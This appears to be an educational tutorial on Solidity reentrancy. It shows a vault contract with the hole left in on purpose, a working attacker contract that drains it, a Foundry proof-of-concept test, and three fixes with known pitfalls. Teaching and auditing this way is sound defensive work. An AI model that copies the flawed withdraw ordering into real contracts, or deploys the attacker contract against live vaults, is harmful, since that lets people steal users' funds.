Reentrancy in Solidity: How the Attack Works and How to Fix It
A hands-on reentrancy lesson: a vulnerable Solidity vault, the attacker contract that drains it, a Foundry test that proves it, and three fixes.
Reentrancy is the first bug every smart contract auditor learns, and it still shows up in audit reports every year. It is the bug behind The DAO hack of June 2016, where an attacker drained about 3.6 million ETH and Ethereum hard-forked to return the funds.
This lesson walks through the full exploit on a small contract: the vulnerable code, the attacker contract, a test that proves the drain, and the fixes. You need basic Solidity and Foundry installed to run the code.
The vulnerable vault
Here is a minimal ETH vault. Users deposit ETH and can withdraw their balance later.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
contract Vault {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amt = balances[msg.sender];
(bool ok, ) = msg.sender.call{value: amt}("");
require(ok, "transfer failed");
balances[msg.sender] = 0;
}
}
It looks correct. It reads the balance, sends it, checks the transfer worked, and resets the balance. The problem is the order of the last three steps.
Why the order matters
msg.sender.call{value: amt}("") hands control to the address that called withdraw(). If that address is a contract, its receive() function runs before call returns, and therefore before balances[msg.sender] = 0 runs.
Inside receive(), the attacker can call withdraw() again. The vault reads balances[msg.sender] again, and it still holds the full amount because the reset has not happened yet. So the vault pays out a second time, then a third, and so on until it is empty or the attacker stops.
Solidity 0.8's checked arithmetic does not help here. Nothing overflows or underflows: the balance is never decremented, it is simply read while it is stale and then set to zero at the end.
The attacker contract
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
interface IVault {
function deposit() external payable;
function withdraw() external;
}
contract Attacker {
IVault public immutable vault;
address public immutable owner;
constructor(IVault _vault) {
vault = _vault;
owner = msg.sender;
}
function attack() external payable {
require(msg.sender == owner, "not owner");
vault.deposit{value: msg.value}();
vault.withdraw();
}
receive() external payable {
// Re-enter while the vault still has enough ETH to pay us again.
if (address(vault).balance >= msg.value) {
vault.withdraw();
}
}
}
The attacker deposits 1 ETH so that it has a non-zero balance, then calls withdraw(). Each payment of 1 ETH triggers receive(), which calls withdraw() again as long as the vault can still pay 1 ETH. When the vault runs dry, the innermost call returns, every nested call then sets the balance to zero, and every require(ok) passes.
Proving it with a Foundry test
An audit finding is only as strong as its proof of concept. This Foundry test funds the vault with 10 ETH from honest users, runs the attack with 1 ETH, and checks the result.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Vault} from "../src/Vault.sol";
import {Attacker, IVault} from "../src/Attacker.sol";
contract ReentrancyTest is Test {
Vault vault;
Attacker attacker;
address alice = makeAddr("alice");
address mallory = makeAddr("mallory");
function setUp() public {
vault = new Vault();
vm.deal(alice, 10 ether);
vm.prank(alice);
vault.deposit{value: 10 ether}();
vm.prank(mallory);
attacker = new Attacker(IVault(address(vault)));
vm.deal(mallory, 1 ether);
}
function test_drainsVault() public {
vm.prank(mallory);
attacker.attack{value: 1 ether}();
assertEq(address(vault).balance, 0);
assertEq(address(attacker).balance, 11 ether);
}
}
Run it with forge test -vvvv. The trace shows withdraw() nested eleven times inside itself: one payout for the attacker's own deposit and ten for Alice's.
Fix 1: checks-effects-interactions
The Solidity documentation recommends the checks-effects-interactions pattern: do your checks first, update your own state second, and only then interact with other addresses.
function withdraw() external {
uint256 amt = balances[msg.sender]; // check
require(amt > 0, "nothing to withdraw");
balances[msg.sender] = 0; // effect
(bool ok, ) = msg.sender.call{value: amt}(""); // interaction
require(ok, "transfer failed");
}
Now a reentrant call reads a balance of zero and reverts on the require. Rerun the test: test_drainsVault fails, which is what you want. Turn it into a passing test by expecting the revert with vm.expectRevert().
Fix 2: a reentrancy guard
A guard blocks any second entry into a protected function while the first call is still running. OpenZeppelin Contracts ships one in @openzeppelin/contracts/utils/ReentrancyGuard.sol (it lived under security/ before version 5).
import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract Vault is ReentrancyGuard {
// ...
function withdraw() external nonReentrant {
// ...
}
}
Since OpenZeppelin Contracts 5.1 there is also ReentrancyGuardTransient, which keeps the lock in EIP-1153 transient storage. It is cheaper, but it only works on chains that support EIP-1153.
Use the guard and checks-effects-interactions. The guard only protects the functions you mark, while correct ordering protects the state itself.
Fix 3: pull payments
Instead of pushing ETH inside the same function that changes accounting, record what each user is owed and let them withdraw it in a separate, minimal function. This keeps external calls in one small place that is easy to review. It is not a substitute for the two fixes above: that withdrawal function still needs correct ordering.
What does not fix it
transfer()andsend(). They forward only 2,300 gas, which used to be too little to re-enter. Relying on a fixed gas cost broke when EIP-1884 repriced opcodes in the Istanbul upgrade, and it can make legitimate smart contract wallets unable to receive funds. Usecallwith correct ordering instead.- Checking that
msg.senderis not a contract.extcodesizereturns zero while a contract's constructor runs, and account abstraction wallets blur the line anyway.
Variants auditors look for
The single-function case above is the easy one. In real audits the same root cause, state that is stale while control is outside the contract, shows up in other forms:
- Cross-function reentrancy. The attacker re-enters a different function that reads the same stale state, for example
transfer()whilewithdraw()is still running. A guard onwithdraw()alone does not stop this. - Cross-contract reentrancy. Two contracts share state, and the attacker re-enters the second one during a call from the first.
- Read-only reentrancy. The attacker re-enters a
viewfunction, such as a price or share-rate getter, while the contract is in an inconsistent state. Another protocol that reads that value at that moment gets a wrong price. OpenZeppelin added anonReentrantViewmodifier in version 5.5 for this case. - Token callbacks. ERC-777 hooks and the
onERC721ReceivedandonERC1155Receivedcallbacks hand control to the receiver, just like sending ETH does.
Practice
To make this stick, write the exploit yourself before reading a solution:
- The Re-entrancy level of OpenZeppelin's Ethernaut is the same bug as this lesson, played on a testnet.
- Damn Vulnerable DeFi has harder challenges, including callback-based ones, in a Foundry setup.
- The DeFiHackLabs repository reproduces real incidents as Foundry tests. Search it for "reentrancy" and read how each fix was missed.
For the full order in which to learn smart contract security, from Solidity basics to audit contests, see the smart contract security learning path.